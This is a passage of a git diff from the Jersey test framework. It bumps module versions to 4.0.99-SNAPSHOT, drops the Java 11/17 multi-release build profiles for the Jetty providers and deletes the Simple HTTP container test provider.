diff --git a/test-framework/maven/custom-enforcer-rules/pom.xml b/test-framework/maven/custom-enforcer-rules/pom.xml
index a05ccd9..300de6c 100644
--- a/test-framework/maven/custom-enforcer-rules/pom.xml
+++ b/test-framework/maven/custom-enforcer-rules/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework.maven</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>custom-enforcer-rules</artifactId>
diff --git a/test-framework/maven/pom.xml b/test-framework/maven/pom.xml
index 3bc930e..742e830 100644
--- a/test-framework/maven/pom.xml
+++ b/test-framework/maven/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.test-framework.maven</groupId>
diff --git a/test-framework/memleak-test-common/pom.xml b/test-framework/memleak-test-common/pom.xml
index 003d5bb..b09ef2a 100644
--- a/test-framework/memleak-test-common/pom.xml
+++ b/test-framework/memleak-test-common/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>memleak-test-common</artifactId>
diff --git a/test-framework/pom.xml b/test-framework/pom.xml
index d5f8c78..a827fe3 100644
--- a/test-framework/pom.xml
+++ b/test-framework/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.test-framework</groupId>
diff --git a/test-framework/providers/bundle/pom.xml b/test-framework/providers/bundle/pom.xml
index 19a2ffb..3842684 100644
--- a/test-framework/providers/bundle/pom.xml
+++ b/test-framework/providers/bundle/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework.providers</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-test-framework-provider-bundle</artifactId>
@@ -55,11 +55,6 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.test-framework.providers</groupId>
-            <artifactId>jersey-test-framework-provider-simple</artifactId>
-            <version>${project.version}</version>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.test-framework.providers</groupId>
             <artifactId>jersey-test-framework-provider-netty</artifactId>
             <version>${project.version}</version>
             <exclusions>
diff --git a/test-framework/providers/external/pom.xml b/test-framework/providers/external/pom.xml
index 8575a36..7734c8f 100644
--- a/test-framework/providers/external/pom.xml
+++ b/test-framework/providers/external/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework.providers</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-test-framework-provider-external</artifactId>
diff --git a/test-framework/providers/grizzly2/pom.xml b/test-framework/providers/grizzly2/pom.xml
index 750fa45..1617324 100644
--- a/test-framework/providers/grizzly2/pom.xml
+++ b/test-framework/providers/grizzly2/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework.providers</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-test-framework-provider-grizzly2</artifactId>
diff --git a/test-framework/providers/inmemory/pom.xml b/test-framework/providers/inmemory/pom.xml
index 03516a3..6ce326a 100644
--- a/test-framework/providers/inmemory/pom.xml
+++ b/test-framework/providers/inmemory/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework.providers</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-test-framework-provider-inmemory</artifactId>
diff --git a/test-framework/providers/jdk-http/pom.xml b/test-framework/providers/jdk-http/pom.xml
index d7edd0d..4117370 100644
--- a/test-framework/providers/jdk-http/pom.xml
+++ b/test-framework/providers/jdk-http/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework.providers</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-test-framework-provider-jdk-http</artifactId>
diff --git a/test-framework/providers/jetty-http2/pom.xml b/test-framework/providers/jetty-http2/pom.xml
index ad00f4e..99fd5ae 100644
--- a/test-framework/providers/jetty-http2/pom.xml
+++ b/test-framework/providers/jetty-http2/pom.xml
@@ -21,7 +21,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.test-framework.providers</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
@@ -31,13 +31,6 @@
 
     <description>Jersey Test Framework - Jetty HTTP2 container</description>
 
-    <properties>
-        <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory>
-        <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
-        <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory>
-        <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory>
-    </properties>
-
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.test-framework</groupId>
@@ -56,150 +49,4 @@
         </dependency>
     </dependencies>
 
-    <profiles>
-        <profile>
-            <id>JettyExclude</id>
-            <activation>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <properties>
-                <jetty.version>${jetty11.version}</jetty.version>
-            </properties>
-            <build>
-                <directory>${java11.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java11.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <configuration>
-                            <testExcludes>
-                                <testExclude>org/glassfish/jersey/test/jetty/http2/*.java</testExclude>
-                                <testExclude>module-info.java</testExclude>
-                            </testExcludes>
-                        </configuration>
-                    </plugin>
-                    <plugin>
-                        <groupId>com.sun.istack</groupId>
-                        <artifactId>istack-commons-maven-plugin</artifactId>
-                        <inherited>true</inherited>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>Jetty17</id>
-            <activation>
-                <jdk>[17,)</jdk>
-            </activation>
-            <build>
-                <directory>${java17.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java17.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>copyJDK17FilesToMultiReleaseJar</id>
-            <activation>
-                <file>
-                    <!-- ${java11.build.outputDirectory} does not work here -->
-                    <exists>target17/classes/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.class</exists>
-                </file>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.felix</groupId>
-                        <artifactId>maven-bundle-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <extensions>true</extensions>
-                        <configuration>
-                            <instructions>
-                                <Multi-Release>true</Multi-Release>
-                            </instructions>
-                        </configuration>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-resources-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk17-classes</id>
-                                <phase>prepare-package</phase>
-                                <goals>
-                                    <goal>copy-resources</goal>
-                                </goals>
-                                <configuration>
-                                    <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory>
-                                    <resources>
-                                        <resource>
-                                            <directory>${java17.build.outputDirectory}/classes</directory>
-                                        </resource>
-                                    </resources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-antrun-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk17-sources</id>
-                                <phase>package</phase>
-                                <configuration>
-                                    <target>
-                                        <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
-                                        <echo>sources-jar: ${sources-jar}</echo>
-                                        <zip destfile="${sources-jar}" update="true">
-                                            <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/>
-                                        </zip>
-                                    </target>
-                                </configuration>
-                                <goals>
-                                    <goal>run</goal>
-                                </goals>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-    </profiles>
-
 </project>
\ No newline at end of file
diff --git a/test-framework/providers/jetty-http2/src/main/java17/module-info.java b/test-framework/providers/jetty-http2/src/main/java/module-info.java
similarity index 100%
rename from test-framework/providers/jetty-http2/src/main/java17/module-info.java
rename to test-framework/providers/jetty-http2/src/main/java/module-info.java
diff --git a/test-framework/providers/jetty-http2/src/main/java17/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java b/test-framework/providers/jetty-http2/src/main/java/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java
similarity index 98%
rename from test-framework/providers/jetty-http2/src/main/java17/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java
rename to test-framework/providers/jetty-http2/src/main/java/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java
index e63f057..b132dc1 100644
--- a/test-framework/providers/jetty-http2/src/main/java17/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java
+++ b/test-framework/providers/jetty-http2/src/main/java/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/test-framework/providers/jetty-http2/src/main/java11/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java b/test-framework/providers/jetty-http2/src/main/java11/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java
deleted file mode 100644
index e8b4a3e..0000000
--- a/test-framework/providers/jetty-http2/src/main/java11/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java
+++ /dev/null
@@ -1,35 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.test.jetty.http2;
-
-import jakarta.ws.rs.ProcessingException;
-import org.glassfish.jersey.test.DeploymentContext;
-import org.glassfish.jersey.test.spi.TestContainer;
-import org.glassfish.jersey.test.spi.TestContainerFactory;
-
-import java.net.URI;
-/**
- * Factory for testing {@link JettyHttp2ContainerFactory}.
- *
- */
-public final class JettyHttp2TestContainerFactory implements TestContainerFactory {
-
-    @Override
-    public TestContainer create(final URI baseUri, final DeploymentContext context) throws IllegalArgumentException {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-}
diff --git a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties b/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties
deleted file mode 100644
index f10b03c..0000000
--- a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties
+++ /dev/null
@@ -1,18 +0,0 @@
-#
-# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
-#
-# This program and the accompanying materials are made available under the
-# terms of the Eclipse Public License v. 2.0, which is available at
-# http://www.eclipse.org/legal/epl-2.0.
-#
-# This Source Code may also be made available under the following Secondary
-# Licenses when the conditions for such availability set forth in the
-# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-# version 2 with the GNU Classpath Exception, which is available at
-# https://www.gnu.org/software/classpath/license.html.
-#
-# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-#
-
-# {0} - status code; {1} - status reason message
-not.supported=Jetty container is not supported on JDK version less than 17.
diff --git a/test-framework/providers/jetty/pom.xml b/test-framework/providers/jetty/pom.xml
index 7758309..e5cd888 100644
--- a/test-framework/providers/jetty/pom.xml
+++ b/test-framework/providers/jetty/pom.xml
@@ -21,7 +21,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.test-framework.providers</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
@@ -49,164 +49,4 @@
         </dependency>
     </dependencies>
 
-    <properties>
-        <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory>
-        <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
-        <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory>
-        <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory>
-    </properties>
-
-    <profiles>
-        <profile>
-            <id>JettyExclude</id>
-            <activation>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <properties>
-                <jetty.version>${jetty11.version}</jetty.version>
-            </properties>
-            <build>
-                <directory>${java11.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>com.sun.istack</groupId>
-                        <artifactId>istack-commons-maven-plugin</artifactId>
-                        <inherited>true</inherited>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java11.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <configuration>
-                            <testExcludes>
-                                <testExclude>org/glassfish/jersey/test/jetty/*.java</testExclude>
-                                <testExclude>module-info.java</testExclude>
-                            </testExcludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>Jetty17</id>
-            <activation>
-                <jdk>[17,)</jdk>
-            </activation>
-            <dependencies>
-                <dependency>
-                    <groupId>org.junit.platform</groupId>
-                    <artifactId>junit-platform-engine</artifactId>
-                    <scope>test</scope>
-                </dependency>
-            </dependencies>
-            <build>
-                <directory>${java17.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java17.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>copyJDK17FilesToMultiReleaseJar</id>
-            <activation>
-                <file>
-                    <!-- ${java11.build.outputDirectory} does not work here -->
-                    <exists>target17/classes/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.class</exists>
-                </file>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.felix</groupId>
-                        <artifactId>maven-bundle-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <extensions>true</extensions>
-                        <configuration>
-                            <instructions>
-                                <Multi-Release>true</Multi-Release>
-                            </instructions>
-                        </configuration>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-resources-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk17-classes</id>
-                                <phase>prepare-package</phase>
-                                <goals>
-                                    <goal>copy-resources</goal>
-                                </goals>
-                                <configuration>
-                                    <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory>
-                                    <resources>
-                                        <resource>
-                                            <directory>${java17.build.outputDirectory}/classes</directory>
-                                        </resource>
-                                    </resources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-antrun-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk17-sources</id>
-                                <phase>package</phase>
-                                <configuration>
-                                    <target>
-                                        <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
-                                        <echo>sources-jar: ${sources-jar}</echo>
-                                        <zip destfile="${sources-jar}" update="true">
-                                            <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/>
-                                        </zip>
-                                    </target>
-                                </configuration>
-                                <goals>
-                                    <goal>run</goal>
-                                </goals>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-    </profiles>
-
-</project>
+</project>
\ No newline at end of file
diff --git a/test-framework/providers/jetty/src/main/java17/module-info.java b/test-framework/providers/jetty/src/main/java/module-info.java
similarity index 100%
rename from test-framework/providers/jetty/src/main/java17/module-info.java
rename to test-framework/providers/jetty/src/main/java/module-info.java
diff --git a/test-framework/providers/jetty/src/main/java17/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java b/test-framework/providers/jetty/src/main/java/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java
similarity index 100%
rename from test-framework/providers/jetty/src/main/java17/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java
rename to test-framework/providers/jetty/src/main/java/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java
diff --git a/test-framework/providers/jetty/src/main/resources/org/glassfish/jersey/test/jetty/internal/localization.properties b/test-framework/providers/jetty/src/main/resources/org/glassfish/jersey/test/jetty/internal/localization.properties
deleted file mode 100644
index f10b03c..0000000
--- a/test-framework/providers/jetty/src/main/resources/org/glassfish/jersey/test/jetty/internal/localization.properties
+++ /dev/null
@@ -1,18 +0,0 @@
-#
-# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
-#
-# This program and the accompanying materials are made available under the
-# terms of the Eclipse Public License v. 2.0, which is available at
-# http://www.eclipse.org/legal/epl-2.0.
-#
-# This Source Code may also be made available under the following Secondary
-# Licenses when the conditions for such availability set forth in the
-# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-# version 2 with the GNU Classpath Exception, which is available at
-# https://www.gnu.org/software/classpath/license.html.
-#
-# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-#
-
-# {0} - status code; {1} - status reason message
-not.supported=Jetty container is not supported on JDK version less than 17.
diff --git a/test-framework/providers/netty/pom.xml b/test-framework/providers/netty/pom.xml
index ff41bf8..4b5e232 100644
--- a/test-framework/providers/netty/pom.xml
+++ b/test-framework/providers/netty/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework.providers</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-test-framework-provider-netty</artifactId>
diff --git a/test-framework/providers/pom.xml b/test-framework/providers/pom.xml
index de2ff26..1c5b748 100644
--- a/test-framework/providers/pom.xml
+++ b/test-framework/providers/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.test-framework.providers</groupId>
@@ -42,6 +42,5 @@
         <module>jetty</module>
         <module>jetty-http2</module>
         <module>netty</module>
-        <module>simple</module>
     </modules>
 </project>
diff --git a/test-framework/providers/simple/pom.xml b/test-framework/providers/simple/pom.xml
deleted file mode 100644
index 19368a5..0000000
--- a/test-framework/providers/simple/pom.xml
+++ /dev/null
@@ -1,58 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-
-    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
-
-    This program and the accompanying materials are made available under the
-    terms of the Eclipse Public License v. 2.0, which is available at
-    http://www.eclipse.org/legal/epl-2.0.
-
-    This Source Code may also be made available under the following Secondary
-    Licenses when the conditions for such availability set forth in the
-    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-    version 2 with the GNU Classpath Exception, which is available at
-    https://www.gnu.org/software/classpath/license.html.
-
-    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-
--->
-
-<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
-    <parent>
-        <artifactId>project</artifactId>
-        <groupId>org.glassfish.jersey.test-framework.providers</groupId>
-        <version>3.5.99-SNAPSHOT</version>
-    </parent>
-    <modelVersion>4.0.0</modelVersion>
-
-    <artifactId>jersey-test-framework-provider-simple</artifactId>
-    <packaging>jar</packaging>
-    <name>jersey-test-framework-provider-simple</name>
-
-    <description>Jersey Test Framework - Simple HTTP container</description>
-
-    <dependencies>
-        <dependency>
-            <groupId>org.glassfish.jersey.test-framework</groupId>
-            <artifactId>jersey-test-framework-core</artifactId>
-            <version>${project.version}</version>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-simple-http</artifactId>
-            <version>${project.version}</version>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.core</groupId>
-            <artifactId>jersey-server</artifactId>
-            <version>${project.version}</version>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.core</groupId>
-            <artifactId>jersey-client</artifactId>
-            <version>${project.version}</version>
-        </dependency>
-
-    </dependencies>
-
-</project>
diff --git a/test-framework/providers/simple/src/main/java/org/glassfish/jersey/test/simple/SimpleTestContainerFactory.java b/test-framework/providers/simple/src/main/java/org/glassfish/jersey/test/simple/SimpleTestContainerFactory.java
deleted file mode 100644
index 3b123db..0000000
--- a/test-framework/providers/simple/src/main/java/org/glassfish/jersey/test/simple/SimpleTestContainerFactory.java
+++ /dev/null
@@ -1,115 +0,0 @@
-/*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.test.simple;
-
-import java.io.IOException;
-import java.net.URI;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.core.UriBuilder;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.simple.SimpleContainerFactory;
-import org.glassfish.jersey.simple.SimpleServer;
-import org.glassfish.jersey.test.DeploymentContext;
-import org.glassfish.jersey.test.spi.TestContainer;
-import org.glassfish.jersey.test.spi.TestContainerException;
-import org.glassfish.jersey.test.spi.TestContainerFactory;
-
-/**
- * Factory for testing {@link org.glassfish.jersey.simple.SimpleContainer}.
- *
- * @author Arul Dhesiaseelan (aruld@acm.org)
- * @author Marek Potociar
- */
-public class SimpleTestContainerFactory implements TestContainerFactory {
-
-    private static class SimpleTestContainer implements TestContainer {
-
-        private static final Logger LOGGER = Logger.getLogger(SimpleTestContainer.class.getName());
-
-        private final DeploymentContext deploymentContext;
-
-        private URI baseUri;
-        private SimpleServer server;
-
-        private SimpleTestContainer(final URI baseUri, final DeploymentContext context) {
-            final URI base = UriBuilder.fromUri(baseUri).path(context.getContextPath()).build();
-
-            if (!"/".equals(base.getRawPath())) {
-                throw new TestContainerException(String.format(
-                        "Cannot deploy on %s. Simple framework container only supports deployment on root path.",
-                        base.getRawPath()));
-            }
-
-            this.baseUri = base;
-
-            if (LOGGER.isLoggable(Level.INFO)) {
-                LOGGER.info("Creating SimpleTestContainer configured at the base URI " + this.baseUri);
-            }
-            this.deploymentContext = context;
-        }
-
-        @Override
-        public ClientConfig getClientConfig() {
-            return null;
-        }
-
-        @Override
-        public URI getBaseUri() {
-            return baseUri;
-        }
-
-        @Override
-        public void start() {
-            LOGGER.log(Level.FINE, "Starting SimpleTestContainer...");
-
-            try {
-                server = SimpleContainerFactory.create(baseUri, deploymentContext.getResourceConfig());
-
-                if (baseUri.getPort() == 0) {
-                    baseUri = UriBuilder.fromUri(baseUri)
-                            .port(server.getPort())
-                            .build();
-
-                    LOGGER.log(Level.INFO, "Started SimpleTestContainer at the base URI " + baseUri);
-                }
-            } catch (ProcessingException e) {
-                throw new TestContainerException(e);
-            }
-        }
-
-        @Override
-        public void stop() {
-            LOGGER.log(Level.FINE, "Stopping SimpleTestContainer...");
-            try {
-                this.server.close();
-            } catch (IOException ex) {
-                LOGGER.log(Level.WARNING, "Error Stopping SimpleTestContainer...", ex);
-            } finally {
-                this.server = null;
-            }
-        }
-    }
-
-    @Override
-    public TestContainer create(final URI baseUri, final DeploymentContext context) throws IllegalArgumentException {
-        return new SimpleTestContainer(baseUri, context);
-    }
-}
diff --git a/test-framework/providers/simple/src/main/java/org/glassfish/jersey/test/simple/package-info.java b/test-framework/providers/simple/src/main/java/org/glassfish/jersey/test/simple/package-info.java
deleted file mode 100644
index b173718..0000000
--- a/test-framework/providers/simple/src/main/java/org/glassfish/jersey/test/simple/package-info.java
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (c) 2010, 2018 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-/**
- * Jersey test framework for Simple Container classes.
- */
-package org.glassfish.jersey.test.simple;
diff --git a/test-framework/providers/simple/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory b/test-framework/providers/simple/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory
deleted file mode 100644
index 6b62bfd..0000000
--- a/test-framework/providers/simple/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory
+++ /dev/null
@@ -1 +0,0 @@
-org.glassfish.jersey.test.simple.SimpleTestContainerFactory
\ No newline at end of file
diff --git a/test-framework/providers/simple/src/test/java/org/glassfish/jersey/test/simple/AvailablePortSimpleTest.java b/test-framework/providers/simple/src/test/java/org/glassfish/jersey/test/simple/AvailablePortSimpleTest.java
deleted file mode 100644
index 5e3ab0b..0000000
--- a/test-framework/providers/simple/src/test/java/org/glassfish/jersey/test/simple/AvailablePortSimpleTest.java
+++ /dev/null
@@ -1,67 +0,0 @@
-/*
- * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
